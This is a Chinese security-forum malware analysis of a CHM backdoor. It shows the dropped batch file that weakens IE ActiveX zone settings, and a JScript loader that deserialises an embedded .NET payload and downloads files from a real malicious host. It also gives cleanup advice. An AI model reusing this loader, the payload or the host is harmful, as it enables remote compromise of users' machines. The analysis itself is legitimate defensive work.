查看: 17310|回复: 1

CHM格式后门病毒分析

[复制链接]
  • TA的每日心情

    2022-4-4 12:14
  • 签到天数: 5 天

    [LV.2]偶尔看看I

    发表于 2022-1-15 19:04:17 | 显示全部楼层 |阅读模式
    CHM格式后门病毒分析
    1、使用微步沙箱分析样本
    首先把程序丢到微步沙箱跑一跑,分析结果在这里 初步判断是一个恶意文件,之后我们来到执行流程这里看看这个软件做了什么操作。



    大致就是这个com程序释放了一个AA.bat,A7.url,A7.chm这三个文件,接下来就是把这三个样本文件download到本地来看一下做了什么操作。

    2、进行本地分析
    每个样本具体得内容就不说了,我已经大致看过了,其内部的执行流程如以下流程图所示



    AA.bat文件内容:

    复制代码 隐藏代码
    echo off

    cls
    set bl=0
    :setreg
    if "%bl%"=="5" goto ex

    set regpath=HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\%bl%
    cls

    home.php?mod=space&uid=120276 add "%regpath%" /v "1201" /d "0" /t REG_DWORD /f

    set /a bl=%bl%+1

    :ex
    exit
    A7.url内容:其指向A7.chm

    A7.chm内容如下:

    CHM文件:编译的 HTML 帮助文件(Compiled HTML Help file)。

    需要使用工具把CHM文件内容提取出来,如下图所示:



    3、CHM文件的HTML文件解析
    前面两步我们提取出来得1.html和2.html文件内容分别如下:

    1.html (部分):

    复制代码 隐藏代码
    var dotnet4 = function(path, execuablePath, downloadPath) {
        var invokeSuccess = false;

        function setversion() {
            new ActiveXObject('WScript.Shell').Environment('Process')('COMPLUS_Version') = 'v2.0.50727';
        }

        function base64ToStream(b) {
            var enc = new ActiveXObject("System.Text.ASCIIEncoding");
            var length = enc.GetByteCount_2(b);
            var ba = enc.GetBytes_4(b);
            var transform = new ActiveXObject("System.Security.Cryptography.FromBase64Transform");
            ba = transform.TransformFinalBlock(ba, 0, length);
            var ms = new ActiveXObject("System.IO.MemoryStream");
            ms.Write(ba, 0, (length / 4) * 3);
            ms.Position = 0;
            return ms;
        }
         var serialized_obj = "AAEAAAD/////AQAAAAAAAAAEAQAAACJTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVy"+
        "AwAAAAhEZWxlZ2F0ZQd0YXJnZXQwB21ldGhvZDADAwMwU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXph"+
        "dGlvbkhvbGRlcitEZWxlZ2F0ZUVudHJ5IlN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xk"+
        "ZXIvU3lzdGVtLlJlZmxlY3Rpb24uTWVtYmVySW5mb1NlcmlhbGl6YXRpb25Ib2xkZXIJAgAAAAkD"+
        "AAAACQQAAAAEAgAAADBTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVyK0RlbGVnYXRl"+
        "RW50cnkHAAAABHR5cGUIYXNzZW1ibHkGdGFyZ2V0EnRhcmdldFR5cGVBc3NlbWJseQ50YXJnZXRU"+
        "eXBlTmFtZQptZXRob2ROYW1lDWRlbGVnYXRlRW50cnkBAQIBAQEDMFN5c3RlbS5EZWxlZ2F0ZVNl"+
        "cmlhbGl6YXRpb25Ib2xkZXIrRGVsZWdhdGVFbnRyeQYFAAAAL1N5c3RlbS5SdW50aW1lLlJlbW90"+
        "aW5nLk1lc3NhZ2luZy5IZWFkZXJIYW5kbGVyBgYAAABLbXNjb3JsaWIsIFZlcnNpb249Mi4wLjAu"+
        "MCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BgcAAAAH"+
        "dGFyZ2V0MAkGAAAABgkAAAAPU3lzdGVtLkRlbGVnYXRlBgoAAAANRHluYW1pY0ludm9rZQoEAwAA"+
        "ACJTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVyAwAAAAhEZWxlZ2F0ZQd0YXJnZXQw"+
        "B21ldGhvZDADBwMwU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXphdGlvbkhvbGRlcitEZWxlZ2F0ZUVu"+
        "dHJ5Ai9TeXN0ZW0uUmVmbGVjdGlvbi5NZW1iZXJJbmZvU2VyaWFsaXphdGlvbkhvbGRlcgkLAAAA"+
        "CQwAAAAJDQAAAAQEAAAAL1N5c3RlbS5SZWZsZWN0aW9uLk1lbWJlckluZm9TZXJpYWxpemF0aW9u"+
        "SG9sZGVyBgAAAAROYW1lDEFzc2VtYmx5TmFtZQlDbGFzc05hbWUJU2lnbmF0dXJlCk1lbWJlclR5"+
        "cGUQR2VuZXJpY0FyZ3VtZW50cwEBAQEAAwgNU3lzdGVtLlR5cGVbXQkKAAAACQYAAAAJCQAAAAYR"+
        "AAAALFN5c3RlbS5PYmplY3QgRHluYW1pY0ludm9rZShTeXN0ZW0uT2JqZWN0W10pCAAAAAoBCwAA"+
        "AAIAAAAGEgAAACBTeXN0ZW0uWG1sLlNjaGVtYS5YbWxWYWx1ZUdldHRlcgYTAAAATVN5c3RlbS5Y"+
        "bWwsIFZlcnNpb249Mi4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdh"+
        "NWM1NjE5MzRlMDg5BhQAAAAHdGFyZ2V0MAkGAAAABhYAAAAaU3lzdGVtLlJlZmxlY3Rpb24uQXNz"+
        "ZW1ibHkGFwAAAARMb2FkCg8MAAAAABwAAAJNWpAAAwAAAAQAAAD//wAAuAAAAAAAAABAAAAAAAAA"+
        "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAAAADh+6DgC0Cc0huAFMzSFUaGlzIHByb2dy"+
        "YW0gY2Fubm90IGJlIHJ1biBpbiBET1MgbW9kZS4NDQokAAAAAAAAAFBFAABMAQMAVW0uYAAAAAAA"+
        "AAAA4AAiIAsBMAAAEgAAAAgAAAAAAAAeMAAAACAAAABAAAAAAAAQACAAAAACAAAEAAAAAAAAAAQA"+
        "AAAAAAAAAIAAAAACAAAAAAAAAwBAhQAAEAAAEAAAAAAQAAAQAAAAAAAAEAAAAAAAAAAAAAAAzC8A"+
        "AE8AAAAAQAAADAQAAAAAAAAAAAAAAAAAAAAAAAAAYAAADAAAAJQuAAAcAAAAAAAAAAAAAAAAAAAA"+
        "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAIAAAAAAAAAAAAAAAIIAAASAAAAAAAAAAA"+
        "AAAALnRleHQAAAAkEAAAACAAAAASAAAAAgAAAAAAAAAAAAAAAAAAIAAAYC5yc3JjAAAADAQAAABA"+
        "AAAABgAAABQAAAAAAAAAAAAAAAAAAEAAAEAucmVsb2MAAAwAAAAAYAAAAAIAAAAaAAAAAAAAAAAA"+
        "AAAAAABAAABCAAAAAAAAAAAAAAAAAAAAAAAwAAAAAAAASAAAAAIABQAQIwAAhAsAAAEAAAAAAAAA"+
        "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAJgIoDgAACgAA"+
        "KiYAAygPAAAKJioTMAMAvgAAAAEAABEAcxAAAAoKcxEAAAoLBwJvEgAACgwIcxMAAAooFAAACnMV"
        //很长一段都是上面的obj,这里有可能就是生成的shellcode

        var entry_class = 'TestClass';

        try {
            setversion();
            var stm = base64ToStream(serialized_obj);
            var fmt = new ActiveXObject('System.Runtime.Serialization.Formatters.Binary.BinaryFormatter');
            var al = new ActiveXObject('System.Collections.ArrayList');
            var d = fmt.Deserialize_2(stm);
            al.Add(undefined);
            var o = d.DynamicInvoke(al.ToArray()).CreateInstance(entry_class);
            o.Cp(path, execuablePath, downloadPath);
            invokeSuccess = true;
        } catch (e) {
            debug(e.message);
        }
        return invokeSuccess;
    }
    var href = "";

    // setTimeout(, 0);
    window.path = "http://www.dgf6.cn:7231/105";//这个网址里面都是恶意文件
    window.execuablePath = "11";
    window.downloadPath = "C:\\Users\\Public\\6253";//存放恶意文件的目录
    (function task() {
        try {
            var path = window.path;
            var execuablePath = window.execuablePath;
            var downloadPath = window.downloadPath;
            var isSuccessv4 = "";
            var isSuccessv2 = "";
            isSuccessv4 = dotnet4(path, execuablePath, downloadPath);//下载文件

            if (isSuccessv4) {
                location.href = "2.html"//下载完成以后转到2.html
            } else {}
        } catch (e) {
            debug(e.message + "globalCode");
        }
    })();
    2.html文件内容:

    复制代码 隐藏代码
    <img style="position:absolute; top:0px;left:0px; width:100%" src="http://img.youxiguancha.com/game/2015/01/12/1421043095_5.jpg"/><!--?Z?-鰜测漜I聖Jhz匃0c汣?┑睢uF??誃  |'枮?柖?鹵`}汱U??せ 舂鴦?怯Y?蓆阼釲2e=暫a?Y-D頿0宔?刹宧?r醭l?{-蹹襷z[C摖拫?歆耼b?佤(欗瘦喁ms鲖 "Ib硿<?窖?莿q?H`G欪坙?s*?>
    ~ ?递驌?操討仿酄
    醠膩渕?聿?z懙t槪耬+`裾疃i渢Z4?釪 M鱈>慥Te扐?怹孬IU?@?;o鼩供?D蠊騨Y厘朻?  "?dW7?w@駋輽?謚4sbRy?赽赽赽椏OI?c佢b赽-->
    从上面的两个文件中我们可以看到,1.html应该是要执行一些恶意的shellcode,随后再在其恶意文件网址中下载其他得恶意文件,因为分析过程中提示我的虚拟机缺少文件,无法运行某个文件。功力不深没有继续分析下去了,随后2.html中的内容就是一张普通的图片,我觉得可能就是用来装一下把,图片内容如下:



    在这里做个小的说明:这种使用CHM文件作为后门的病毒,就是使用kali来做的简单后门,主要就是通过activex来调用本地得可执行文件进行侵入,因为chm后门也是今天刚知道,所以只能猜测一下,具体得解释在这里:高级组合技打造chm后门

    4、归纳总结
    总得来说这个木马的执行流程如下:

    运行com文件=》分别释放AA.bat、A7.url、A7.chm到指定路径,进行注册表键值得创建,具体是为了什么暂时不明,可能是为了设置ie直接允许运行activex操作,随后com文件运行A7.url,而A7.url指向得是A7.chm,实际运行得样本的过程中会发现A7.chm被打开的一瞬间会自动执行其中的1.html然后会打开浏览器进行下载等操作(因为在虚拟机执行下载时,也被物理机得火绒拦截到了。),等到运行完毕展示2.html得内容,这种属于meterpreter 后门,也就是我们执行完毕以后,机器会主动连接到对方得机器,我们机器会变成对方的肉鸡。 (其中很多地方没分析到位,我的能力只能分析很小很小的一部分,明天也要上班,比较赶时间。)

    5、解决方案
    使用杀毒软件对全盘进行一个彻底查杀,检查程序的自启动列表,注册表得自启动项目是否正常,检查自己电脑的计划任务列表中是否有未知的计划任务程序,检查自己电脑得任务管理器后台是否有描述不清的后台程序,通过判断程序名称和描述自行甄别。

    最后,希望中招得老哥不要担心,这种木马一般只是为了控制你的电脑,并不会对您得计算机有什么数据上得损害,做好全盘查杀工作,自行查找可疑程序进行手动清理和隔离,就算不会对数据造成损失,也请及时备份好重要文件其余存储设备中,平时对待可疑得文件(如exe,word,vbs,js、com、bat)保持高度警惕,如:进行沙箱运行(本地沙箱和云端沙箱)、虚拟机运行。
    211219yhfp5i30qipcyqhy.png
    211231tegg6ryzqiyii4ir.png
    211248hhxowbsx5kx2x5og.png
    211330b69ufbupxmj7vvpw.png

    相关帖子

    回复

    使用道具 举报

    您需要登录后才可以回帖 登录 | 注册

    本版积分规则

    指导单位

    江苏省公安厅

    江苏省通信管理局

    浙江省台州刑侦支队

    DEFCON GROUP 86025

    旗下站点

    邮箱系统

    应急响应中心

    红盟安全

    联系我们

    官方QQ群:112851260

    官方邮箱:security#ihonker.org(#改成@)

    官方核心成员

    Archiver|手机版|小黑屋| ( 苏ICP备2021031567号 )

    GMT+8, 2024-11-21 20:38 , Processed in 0.020415 second(s), 16 queries , Gzip On, MemCache On.

    Powered by ihonker.com

    Copyright © 2015-现在.

  • 返回顶部